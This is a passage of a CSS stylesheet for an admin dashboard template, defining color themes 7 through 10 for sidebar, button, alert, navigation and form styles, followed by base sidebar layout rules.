.dash-item:focus > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; color: #fff; box-shadow: 0 5px 7px -1px rgba(146, 44, 136, 0.3); } body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #922C88; } body.theme-7 a:not([class]) { color: #922C88; } body.theme-7 a:not([class]):hover { color: #922C88; } body.theme-7 .text-primary { color: #922C88 !important; } body.theme-7 .list-group-item.active { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88 !important; } body.theme-7 .progress-bar:not([class*="bg-"]), body.theme-7 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #922C88; --bs-btn-border-color: #922C88; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #7c2574; --bs-btn-hover-border-color: #75236d; --bs-btn-focus-shadow-rgb: 162, 76, 154; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #75236d; --bs-btn-active-border-color: #6e2166; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #922C88; --bs-btn-disabled-border-color: #922C88; } body.theme-7 .btn-outline-primary { --bs-btn-color: #922C88; --bs-btn-border-color: #922C88; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #922C88; --bs-btn-hover-border-color: #922C88; --bs-btn-focus-shadow-rgb: 146, 44, 136; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #922C88; --bs-btn-active-border-color: #922C88; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #922C88; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #922C88; --bs-gradient: none; } body.theme-7 .btn-light-primary { background: #e9d5e7; color: #922C88; border-color: #e9d5e7; } body.theme-7 .btn-light-primary:hover { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-light-primary.focus, body.theme-7 .btn-light-primary:focus { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-7 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-7 .btn-light-primary.dropdown-toggle { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-check:active + .btn-light-primary, body.theme-7 .btn-check:checked + .btn-light-primary { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .alert-primary { --bs-alert-color: #581a52; --bs-alert-bg: #e9d5e7; --bs-alert-border-color: #dec0db; } body.theme-7 .alert-primary .alert-link { color: #461542; } body.theme-7 .badge.bg-light-primary { background: #e9d5e7; color: #922C88; border-color: #e9d5e7; } body.theme-7 .page-item.active .page-link { background: #922C88; border-color: #922C88; } body.theme-7 .nav-link { color: #922C88; } body.theme-7 .nav-link:hover, body.theme-7 .nav-link:focus { color: #922C88; } body.theme-7 .nav-tabs .nav-link { background: none; } body.theme-7 .nav-pills .nav-link { background: none; } body.theme-7 .nav-pills .nav-link:focus, body.theme-7 .nav-pills .nav-link.active, body.theme-7 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } body.theme-7 .form-check-input:focus, body.theme-7 .form-select:focus, body.theme-7 .form-control:focus, body.theme-7 .custom-select:focus, body.theme-7 .dataTable-selector:focus, body.theme-7 .dataTable-input:focus { border-color: #922C88; box-shadow: 0 0 0 0.2rem rgba(146, 44, 136, 0.25); } body.theme-7 .form-check-input:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-range::-webkit-slider-thumb { background: #922C88; } body.theme-7 .form-range::-webkit-slider-thumb:active { background: #922C88; } body.theme-7 .form-range::-moz-range-thumb { background: #922C88; } body.theme-7 .form-range::-moz-range-thumb:active { background: #922C88; } body.theme-7 .form-check-input:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-check-input[type="checkbox"]:indeterminate { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-check .form-check-input.input-primary:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 pre[class*="language-"] > code { border-left-color: #922C88; background-image: linear-gradient(transparent 50%, rgba(146, 44, 136, 0.04) 50%); } body.theme-7 .card .card-header h5:after, body.theme-7 .card .card-header .h5:after, body.theme-7 .card .card-header .h5:after { background: #922C88; } body.theme-8 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-8 .bg-primary { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145 !important; } body.theme-8 .dash-header .drp-language .drp-text, body.theme-8 .dash-header .dash-head-link > i:not(.nocolor) { color: #C0A145; } body.theme-8 .dash-header .drp-company .theme-avtar { background: #f2ecda; color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; color: #fff; box-shadow: 0 5px 7px -1px rgba(192, 161, 69, 0.3); } body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #C0A145; } body.theme-8 a:not([class]) { color: #C0A145; } body.theme-8 a:not([class]):hover { color: #C0A145; } body.theme-8 .text-primary { color: #C0A145 !important; } body.theme-8 .list-group-item.active { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145 !important; } body.theme-8 .progress-bar:not([class*="bg-"]), body.theme-8 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #C0A145; --bs-btn-border-color: #C0A145; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #a3893b; --bs-btn-hover-border-color: #9a8137; --bs-btn-focus-shadow-rgb: 201, 175, 97; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #9a8137; --bs-btn-active-border-color: #907934; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #C0A145; --bs-btn-disabled-border-color: #C0A145; } body.theme-8 .btn-outline-primary { --bs-btn-color: #C0A145; --bs-btn-border-color: #C0A145; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #C0A145; --bs-btn-hover-border-color: #C0A145; --bs-btn-focus-shadow-rgb: 192, 161, 69; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #C0A145; --bs-btn-active-border-color: #C0A145; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #C0A145; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #C0A145; --bs-gradient: none; } body.theme-8 .btn-light-primary { background: #f2ecda; color: #C0A145; border-color: #f2ecda; } body.theme-8 .btn-light-primary:hover { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-light-primary.focus, body.theme-8 .btn-light-primary:focus { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-8 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-8 .btn-light-primary.dropdown-toggle { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-check:active + .btn-light-primary, body.theme-8 .btn-check:checked + .btn-light-primary { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .alert-primary { --bs-alert-color: #736129; --bs-alert-bg: #f2ecda; --bs-alert-border-color: #ece3c7; } body.theme-8 .alert-primary .alert-link { color: #5c4e21; } body.theme-8 .badge.bg-light-primary { background: #f2ecda; color: #C0A145; border-color: #f2ecda; } body.theme-8 .page-item.active .page-link { background: #C0A145; border-color: #C0A145; } body.theme-8 .nav-link { color: #C0A145; } body.theme-8 .nav-link:hover, body.theme-8 .nav-link:focus { color: #C0A145; } body.theme-8 .nav-tabs .nav-link { background: none; } body.theme-8 .nav-pills .nav-link { background: none; } body.theme-8 .nav-pills .nav-link:focus, body.theme-8 .nav-pills .nav-link.active, body.theme-8 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } body.theme-8 .form-check-input:focus, body.theme-8 .form-select:focus, body.theme-8 .form-control:focus, body.theme-8 .custom-select:focus, body.theme-8 .dataTable-selector:focus, body.theme-8 .dataTable-input:focus { border-color: #C0A145; box-shadow: 0 0 0 0.2rem rgba(192, 161, 69, 0.25); } body.theme-8 .form-check-input:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-range::-webkit-slider-thumb { background: #C0A145; } body.theme-8 .form-range::-webkit-slider-thumb:active { background: #C0A145; } body.theme-8 .form-range::-moz-range-thumb { background: #C0A145; } body.theme-8 .form-range::-moz-range-thumb:active { background: #C0A145; } body.theme-8 .form-check-input:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-check-input[type="checkbox"]:indeterminate { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-check .form-check-input.input-primary:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 pre[class*="language-"] > code { border-left-color: #C0A145; background-image: linear-gradient(transparent 50%, rgba(192, 161, 69, 0.04) 50%); } body.theme-8 .card .card-header h5:after, body.theme-8 .card .card-header .h5:after, body.theme-8 .card .card-header .h5:after { background: #C0A145; } body.theme-9 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-9 .bg-primary { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B !important; } body.theme-9 .dash-header .drp-language .drp-text, body.theme-9 .dash-header .dash-head-link > i:not(.nocolor) { color: #48494B; } body.theme-9 .dash-header .drp-company .theme-avtar { background: #dadbdb; color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; color: #fff; box-shadow: 0 5px 7px -1px rgba(72, 73, 75, 0.3); } body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-9 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-9 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #48494B; } body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-9 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #48494B; } body.theme-9 a:not([class]) { color: #48494B; } body.theme-9 a:not([class]):hover { color: #48494B; } body.theme-9 .text-primary { color: #48494B !important; } body.theme-9 .list-group-item.active { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B !important; } body.theme-9 .progress-bar:not([class*="bg-"]), body.theme-9 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #48494B; --bs-btn-border-color: #48494B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3d3e40; --bs-btn-hover-border-color: #3a3a3c; --bs-btn-focus-shadow-rgb: 99, 100, 102; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #3a3a3c; --bs-btn-active-border-color: #363738; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #48494B; --bs-btn-disabled-border-color: #48494B; } body.theme-9 .btn-outline-primary { --bs-btn-color: #48494B; --bs-btn-border-color: #48494B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #48494B; --bs-btn-hover-border-color: #48494B; --bs-btn-focus-shadow-rgb: 72, 73, 75; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #48494B; --bs-btn-active-border-color: #48494B; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #48494B; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #48494B; --bs-gradient: none; } body.theme-9 .btn-light-primary { background: #dadbdb; color: #48494B; border-color: #dadbdb; } body.theme-9 .btn-light-primary:hover { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-light-primary.focus, body.theme-9 .btn-light-primary:focus { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-9 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-9 .btn-light-primary.dropdown-toggle { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .btn-check:active + .btn-light-primary, body.theme-9 .btn-check:checked + .btn-light-primary { background: #48494B; color: #fff; border-color: #48494B; } body.theme-9 .alert-primary { --bs-alert-color: #2b2c2d; --bs-alert-bg: #dadbdb; --bs-alert-border-color: #c8c8c9; } body.theme-9 .alert-primary .alert-link { color: #222324; } body.theme-9 .badge.bg-light-primary { background: #dadbdb; color: #48494B; border-color: #dadbdb; } body.theme-9 .page-item.active .page-link { background: #48494B; border-color: #48494B; } body.theme-9 .nav-link { color: #48494B; } body.theme-9 .nav-link:hover, body.theme-9 .nav-link:focus { color: #48494B; } body.theme-9 .nav-tabs .nav-link { background: none; } body.theme-9 .nav-pills .nav-link { background: none; } body.theme-9 .nav-pills .nav-link:focus, body.theme-9 .nav-pills .nav-link.active, body.theme-9 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B; } body.theme-9 .form-check-input:focus, body.theme-9 .form-select:focus, body.theme-9 .form-control:focus, body.theme-9 .custom-select:focus, body.theme-9 .dataTable-selector:focus, body.theme-9 .dataTable-input:focus { border-color: #48494B; box-shadow: 0 0 0 0.2rem rgba(72, 73, 75, 0.25); } body.theme-9 .form-check-input:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-range::-webkit-slider-thumb { background: #48494B; } body.theme-9 .form-range::-webkit-slider-thumb:active { background: #48494B; } body.theme-9 .form-range::-moz-range-thumb { background: #48494B; } body.theme-9 .form-range::-moz-range-thumb:active { background: #48494B; } body.theme-9 .form-check-input:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-check-input[type="checkbox"]:indeterminate { background-color: #48494B; border-color: #48494B; } body.theme-9 .form-check .form-check-input.input-primary:checked { background-color: #48494B; border-color: #48494B; } body.theme-9 pre[class*="language-"] > code { border-left-color: #48494B; background-image: linear-gradient(transparent 50%, rgba(72, 73, 75, 0.04) 50%); } body.theme-9 .card .card-header h5:after, body.theme-9 .card .card-header .h5:after, body.theme-9 .card .card-header .h5:after { background: #48494B; } body.theme-10 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-10 .bg-primary { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785 !important; } body.theme-10 .dash-header .drp-language .drp-text, body.theme-10 .dash-header .dash-head-link > i:not(.nocolor) { color: #0C7785; } body.theme-10 .dash-header .drp-company .theme-avtar { background: #cee4e7; color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; color: #fff; box-shadow: 0 5px 7px -1px rgba(12, 119, 133, 0.3); } body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-10 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-10 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #0C7785; } body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-10 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #0C7785; } body.theme-10 a:not([class]) { color: #0C7785; } body.theme-10 a:not([class]):hover { color: #0C7785; } body.theme-10 .text-primary { color: #0C7785 !important; } body.theme-10 .list-group-item.active { background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785 !important; } body.theme-10 .progress-bar:not([class*="bg-"]), body.theme-10 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #0C7785; --bs-btn-border-color: #0C7785; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0a6571; --bs-btn-hover-border-color: #0a5f6a; --bs-btn-focus-shadow-rgb: 48, 139, 151; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0a5f6a; --bs-btn-active-border-color: #095964; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #0C7785; --bs-btn-disabled-border-color: #0C7785; } body.theme-10 .btn-outline-primary { --bs-btn-color: #0C7785; --bs-btn-border-color: #0C7785; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0C7785; --bs-btn-hover-border-color: #0C7785; --bs-btn-focus-shadow-rgb: 12, 119, 133; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0C7785; --bs-btn-active-border-color: #0C7785; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #0C7785; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #0C7785; --bs-gradient: none; } body.theme-10 .btn-light-primary { background: #cee4e7; color: #0C7785; border-color: #cee4e7; } body.theme-10 .btn-light-primary:hover { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-light-primary.focus, body.theme-10 .btn-light-primary:focus { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-10 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-10 .btn-light-primary.dropdown-toggle { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .btn-check:active + .btn-light-primary, body.theme-10 .btn-check:checked + .btn-light-primary { background: #0C7785; color: #fff; border-color: #0C7785; } body.theme-10 .alert-primary { --bs-alert-color: #074750; --bs-alert-bg: #cee4e7; --bs-alert-border-color: #b6d6da; } body.theme-10 .alert-primary .alert-link { color: #063940; } body.theme-10 .badge.bg-light-primary { background: #cee4e7; color: #0C7785; border-color: #cee4e7; } body.theme-10 .page-item.active .page-link { background: #0C7785; border-color: #0C7785; } body.theme-10 .nav-link { color: #0C7785; } body.theme-10 .nav-link:hover, body.theme-10 .nav-link:focus { color: #0C7785; } body.theme-10 .nav-tabs .nav-link { background: none; } body.theme-10 .nav-pills .nav-link { background: none; } body.theme-10 .nav-pills .nav-link:focus, body.theme-10 .nav-pills .nav-link.active, body.theme-10 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #0C7785 3.46%, #0C7785 99.86%), #0C7785; } body.theme-10 .form-check-input:focus, body.theme-10 .form-select:focus, body.theme-10 .form-control:focus, body.theme-10 .custom-select:focus, body.theme-10 .dataTable-selector:focus, body.theme-10 .dataTable-input:focus { border-color: #0C7785; box-shadow: 0 0 0 0.2rem rgba(12, 119, 133, 0.25); } body.theme-10 .form-check-input:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-range::-webkit-slider-thumb { background: #0C7785; } body.theme-10 .form-range::-webkit-slider-thumb:active { background: #0C7785; } body.theme-10 .form-range::-moz-range-thumb { background: #0C7785; } body.theme-10 .form-range::-moz-range-thumb:active { background: #0C7785; } body.theme-10 .form-check-input:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-check-input[type="checkbox"]:indeterminate { background-color: #0C7785; border-color: #0C7785; } body.theme-10 .form-check .form-check-input.input-primary:checked { background-color: #0C7785; border-color: #0C7785; } body.theme-10 pre[class*="language-"] > code { border-left-color: #0C7785; background-image: linear-gradient(transparent 50%, rgba(12, 119, 133, 0.04) 50%); } body.theme-10 .card .card-header h5:after, body.theme-10 .card .card-header .h5:after, body.theme-10 .card .card-header .h5:after { background: #0C7785; } .dash-sidebar { background: #1c232f; box-shadow: 0 1px 20px 0 rgba(69, 90, 100, 0.08); width: 255px; position: fixed; top: 0; bottom: 0; z-index: 1026; } @media (min-width: 1024px) { .dash-sidebar.light-sidebar.transprent-bg { background: transparent; box-shadow: none; } .dash-sidebar.light-sidebar.transprent-bg .navbar-content { height: calc(100vh - 70px); } .dash-sidebar.light-sidebar:not(.transprent-bg) { top: 20px; bottom: 20px; left: 20px; border-radius: 20px; box-shadow: -2.61824px 26px 49px rgba(182, 186, 203, 0.3); } .dash-sidebar.light-sidebar:not(.transprent-bg) .navbar-content { height: calc(100vh - 110px); } } .dash-sidebar ul { list-style: none; padding-left: 0; margin-bottom: 0; } .dash-sidebar .dash-caption { color: #525b69; display: block; padding: 20px 20px 8px; letter-spacing: 0.07em; text-transform: uppercase; font-size: 11px; font-weight: 700; } .dash-sidebar .dash-caption label { margin-bottom: 0; } .dash-sidebar .dash-caption span:not(.badge) { display: block; color: #67758a; font-size: 10px; font-weight: 500; text-transform: capitalize; } .dash-sidebar .dash-micon { margin-right: 15px; border-radius: 12px; height: 35px; width: 35px; display: inline-flex; align-items: center; justify-content: center; vertical-align: middle; } .dash-sidebar .dash-micon i { font-size: 18px; color: #778290; } .dash-sidebar .dash-micon i.material-icons-two-tone { background-color: #778290; font-size: 20px; display: inline-block; } .dash-sidebar .dash-micon > svg { width: 18px; height: 18px; color: #778290; fill: rgba(114, 103, 239, 0.2); } .dash-sidebar .dash-link { display: block; padding: 13px 20px; color: #ced4dc; position: relative; font-size: 13px; font-weight: 600; } .dash-sidebar .dash-link .dash-mtext::after { content: ""; position: absolute; left: 0; top: 0; right: 0; bottom: 0; } .dash-sidebar .dash-link:active, .dash-sidebar .dash-link:focus, .dash-sidebar .dash-link:hover { text-decoration: none; color: #51459d; } .dash-sidebar .dash-link:active .dash-micon i, .dash-sidebar .dash-link:active .dash-micon svg, .dash-sidebar .dash-link:focus .dash-micon i, .dash-sidebar .dash-link:focus .dash-micon svg, .dash-sidebar .dash-link:hover .dash-micon i, .dash-sidebar .dash-link:hover .dash-micon svg { color: #51459d; } .dash-sidebar .dash-arrow { float: right; display: inline-block; transition: all 0.2s ease-in-out; } .dash-sidebar .dash-arrow > svg { width: 16px; height: 16px; } .dash-sidebar .dash-badge { margin-left: 8px; } .dash-sidebar .m-header { height: 70px; display: flex; align-items: center; padding: 15px 20px; } .dash-sidebar .m-header .logo-sm { display: none; } .dash-sidebar .navbar-content { position: relative; padding: 10px 0; } .dash-sidebar .navbar-content .card { margin: 40px 20px 70px; position: relative; } 